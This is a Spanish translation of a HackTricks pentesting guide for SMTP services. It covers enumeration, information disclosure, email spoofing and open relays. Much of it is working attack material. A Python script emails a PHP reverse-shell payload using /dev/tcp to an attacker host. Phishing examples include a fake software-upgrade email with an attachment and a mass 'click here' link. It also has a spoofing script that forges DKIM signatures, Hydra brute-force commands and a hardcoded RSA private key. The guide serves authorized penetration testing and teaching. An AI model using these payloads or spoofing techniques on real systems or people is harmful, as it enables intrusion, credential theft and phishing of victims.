hacktricks/network-services-pentesting/pentesting-smtp/README.md

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# 25,465,587 - Pentesting SMTP/s
<details>
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</details>
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**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
## **Información Básica**
**SMTP (Simple Mail Transfer Protocol)** es un protocolo de TCP/IP utilizado en el **envío** y la recepción de **correo electrónico**. Sin embargo, dado que es limitado en su capacidad para encolar mensajes en el extremo receptor, generalmente se utiliza con uno de dos otros protocolos, POP3 o IMAP, que permiten al usuario guardar mensajes en un buzón del servidor y descargarlos periódicamente desde el servidor.
En otras palabras, **los usuarios típicamente utilizan** un programa que usa **SMTP para enviar correo electrónico** y ya sea **POP3 o IMAP para recibir** correo electrónico. En sistemas basados en Unix, **sendmail** es el servidor SMTP más utilizado para correo electrónico. Un paquete comercial, Sendmail, incluye un servidor POP3. **Microsoft Exchange** incluye un servidor SMTP y también puede configurarse para incluir soporte POP3.\
De [aquí](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
**Puerto predeterminado:** 25,465(ssl),587(ssl)
```
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
```
### Encabezados de EMAIL
Si tienes la oportunidad de **hacer que la víctima te envíe un email** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima viendo los encabezados del correo.
También puedes obtener un correo de un servidor SMTP intentando **enviar a ese servidor un correo a una dirección inexistente** (porque el servidor enviará al atacante un correo de NDN). Pero, asegúrate de enviar el correo desde una dirección permitida (verifica la política de SPF) y de que puedes recibir mensajes NDN.
También deberías intentar **enviar diferentes contenidos porque puedes encontrar información más interesante** en los encabezados como: `X-Virus-Scanned: by av.domain.com`\
Deberías enviar el archivo de prueba EICAR.\
Detectar el **AV** puede permitirte explotar **vulnerabilidades conocidas.**
## Acciones básicas
### **Banner Grabbing/Conexión básica**
**SMTP:**
```bash
nc -vn <IP> 25
```
**SMTPS**:
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
```
### Encontrar servidores MX de una organización
```bash
dig +short mx google.com
```
### Enumeración
```bash
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### Autenticación NTLM - Divulgación de información
Si el servidor soporta autenticación NTLM (Windows), puedes obtener información sensible (versiones). Más información [**aquí**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
```bash
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
O **automatiza** esto con el plugin de **nmap** `smtp-ntlm-info.nse`
### Nombre del servidor interno - Divulgación de información
Algunos servidores SMTP completan automáticamente la dirección del remitente cuando se emite el comando "MAIL FROM" sin una dirección completa, revelando su nombre interno:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Sniffing
Comprueba si puedes capturar alguna contraseña de los paquetes al puerto 25
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Enumeración de Fuerza Bruta de Nombre de Usuario
**La autenticación no siempre es necesaria**
### RCPT TO
```bash
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:test@test.org
250 2.1.0 test@test.org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
```
### VRFY
```
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <root@myhost>
VRFY blah
550 blah... User unknown
```
### EXPN
```
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.williams@myhost>
EXPN sshd
250 2.1.5 sshd privsep <sshd@mail2>
```
Extraído de: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
### Herramientas automáticas
```
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse.
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## Informes DSN
**Informes de Notificación de Estado de Entrega**: Si envía un **correo electrónico** a una organización a una **dirección inválida**, la organización notificará que la dirección fue invalidada enviando un **correo de vuelta a usted**. Los **encabezados** del correo electrónico devuelto **contendrán** posible **información sensible** (como la dirección IP de los servicios de correo que interactuaron con los informes o información del software antivirus).
## [Comandos](smtp-commands.md)
### Enviando un correo electrónico desde la consola de Linux
```
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
```
```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
```
### Enviando un correo electrónico con Python
Aquí hay una manera alternativa de enviar un correo electrónico con un script de python
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
```
## Suplantación de Correo
La mayor parte de esta sección fue extraída del libro **Network Security Assessment 3rd Edition**.
Los mensajes SMTP son fácilmente suplantados, por lo que las organizaciones utilizan características de **SPF**, **DKIM** y **DMARC** para prevenir que terceros envíen correos electrónicos no autorizados.
Una **guía completa de estas contramedidas** se puede encontrar en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)
### SPF
{% hint style="danger" %}
SPF [fue "obsoleto" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un **registro TXT** en `_spf.domain.com` lo creas en `domain.com` utilizando la **misma sintaxis**.\
Además, para reutilizar registros SPF anteriores es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
**Sender Policy Framework** (SPF) proporciona un mecanismo que permite a los MTAs verificar si un host que envía un correo electrónico está autorizado.\
Luego, las organizaciones pueden definir una lista de servidores de correo autorizados y los MTAs pueden consultar estas listas para verificar si el correo electrónico fue suplantado o no.\
Para definir direcciones/rangos IP, dominios y otros que están **autorizados para enviar correos electrónicos en nombre de un nombre de dominio**, diferentes "**Mecanismos**" pueden aparecer en el registro SPF.
#### Mecanismos
| Mecanismo | Descripción |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Siempre coincide; utilizado para un resultado predeterminado como `-all` para todas las IPs que no coinciden con mecanismos anteriores. |
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá. |
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
| MX | Si el nombre de dominio tiene un registro MX que se resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible. |
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje de macros SPF, ofrece coincidencias más complejas como consultas DNSBL. |
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. |
| REDIRECT | <p>Una redirección es un puntero a otro nombre de dominio que aloja una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.</p><p>Se utilizará la política SPF del dominio indicado en el mecanismo de redirección.</p> |
También es posible identificar **Calificadores** que indican **qué se debe hacer si se coincide con un mecanismo**. Por defecto, se utiliza el **calificador "+"** (así que si cualquier mecanismo coincide, eso significa que está permitido).\
Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.**
#### Calificadores
Cada mecanismo se puede combinar con uno de cuatro calificadores:
* **`+`** para un resultado de APROBADO. Esto puede omitirse; por ejemplo, `+mx` es lo mismo que `mx`.
* **`?`** para un resultado NEUTRAL interpretado como NINGUNO (sin política).
* **`~`** (tilde) para SOFTFAIL, una ayuda para la depuración entre NEUTRAL y FAIL. Típicamente, los mensajes que devuelven un SOFTFAIL son aceptados pero etiquetados.
* **`-`** (menos) para FAIL, el correo debe ser rechazado (ver abajo).
En el siguiente ejemplo puedes leer la **política SPF de google.com**. Observa cómo la **primera política SPF incluye políticas SPF de otros dominios:**
```shell-session
kali@kali:~$ dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
kali@kali:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
kali@kali:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
Tradicionalmente era posible suplantar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. **Hoy en día**, si un **correo electrónico** proviene de un **dominio sin un registro SPF válido** probablemente será **rechazado/marcado como no confiable automáticamente**.
Para verificar el SPF de un dominio puedes usar herramientas en línea como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM
DomainKeys Identified Mail (DKIM) es un mecanismo por el cual **el correo electrónico saliente es firmado y validado por MTAs extranjeros al recuperar la clave pública de un dominio a través de DNS**. La clave pública DKIM se encuentra dentro de un registro TXT para un dominio; sin embargo, debes conocer tanto el selector como el nombre del dominio para recuperarla.
Luego, para solicitar la clave necesitas el nombre del dominio y el selector del correo del encabezado del correo `DKIM-Signature` por ejemplo: `d=gmail.com;s=20120113`
```bash
dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC
Domain-based Message Authentication, Reporting & Conformance (DMARC) es un método de autenticación de correo que se expande sobre SPF y DKIM. Las políticas instruyen a los servidores de correo cómo procesar el correo electrónico para un dominio dado e informar sobre las acciones realizadas.
![](<../../.gitbook/assets/image (134).png>)
**Para obtener el registro DMARC, necesitas consultar el subdominio \_dmarc**
```shell-session
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
root@kali:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
```
#### Etiquetas DMARC
| Nombre de la etiqueta | Propósito | Ejemplo |
| --------------------- | ----------------------------------------------- | ------------------------------- |
| v | Versión del protocolo | v=DMARC1 |
| pct | Porcentaje de mensajes sujetos a filtrado | pct=20 |
| ruf | URI de reporte para informes forenses | ruf=mailto:authfail@example.com |
| rua | URI de reporte de informes agregados | rua=mailto:aggrep@example.com |
| p | Política para el dominio organizacional | p=quarantine |
| sp | Política para subdominios del DO | sp=reject |
| adkim | Modo de alineación para DKIM | adkim=s |
| aspf | Modo de alineación para SPF | aspf=r |
### **¿Qué pasa con los Subdominios?**
**Desde** [**aquí**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correos.\
Lo siguiente fue originalmente publicado en openspf.org, que solía ser un gran recurso para este tipo de cosas.
> La Pregunta del Demonio: ¿Qué pasa con los subdominios?
>
> Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar el SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplicara a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.
>
> Por lo tanto, el consejo para los publicadores de SPF es el siguiente: deberías añadir un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.
>
> Los sitios con registros A o MX comodín también deberían tener un registro SPF comodín, de la forma: \* IN TXT "v=spf1 -all"
Esto tiene sentido - un subdominio puede estar en una ubicación geográfica diferente y tener una definición de SPF muy distinta.
### **Open Relay**
Para evitar que los correos enviados sean filtrados por filtros de spam y no lleguen al destinatario, el remitente puede usar un **servidor de retransmisión que el destinatario confíe**. A menudo, los administradores **no han revisado** qué rangos de **IP** deben **permitir**. Esto resulta en una mala configuración del servidor SMTP que todavía encontraremos a menudo en pruebas de penetración externas e internas. Por lo tanto, **permiten todas las direcciones IP** para no causar errores en el tráfico de correo electrónico y así no perturbar o interrumpir involuntariamente la comunicación con clientes potenciales y actuales:
```shell-session
mynetworks = 0.0.0.0/0
```
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **Herramientas**
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verificar configuraciones incorrectas de SPF y DMARC**
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtener automáticamente configuraciones de SPF y DMARC**
### Enviar Correo Falso
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)****
**O podrías usar una herramienta:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)****
```bash
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
{% hint style="warning" %}
Si encuentras algún **error al usar la librería de python dkim** al analizar la clave, siéntete libre de usar la siguiente.\
**NOTA**: Esto es solo una solución rápida para hacer verificaciones rápidas en casos donde, por alguna razón, la clave privada de openssl **no puede ser analizada por dkim**.
```
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
```
{% endhint %}
**O podrías hacerlo manualmente:**
{% tabs %}
{% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Esto enviará un mensaje sin firmar
</strong><strong>mail("your_email@gmail.com", "Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrator@victim.com");
</strong></code></pre>
{% endtab %}
{% tab title="Python" %}
```python
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}
### **Más información**
**Encuentra más información sobre estas protecciones en** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Otros indicadores de phishing**
* Edad del dominio
* Enlaces que apuntan a direcciones IP
* Técnicas de manipulación de enlaces
* Adjuntos sospechosos (poco comunes)
* Contenido de correo electrónico roto
* Valores utilizados que son diferentes a los de los encabezados de correo
* Existencia de un certificado SSL válido y confiable
* Envío de la página a sitios de filtrado de contenido web
## Exfiltración a través de SMTP
**Si puedes enviar datos vía SMTP** [**lee esto**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Archivo de configuración
### Postfix
Usualmente, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando por ejemplo un nuevo correo es recibido por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si un nuevo correo es recibido por el usuario mark.
Otros archivos de configuración:
```
sendmail.cf
submit.cf
```
## Comandos Automáticos de HackTricks
```
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
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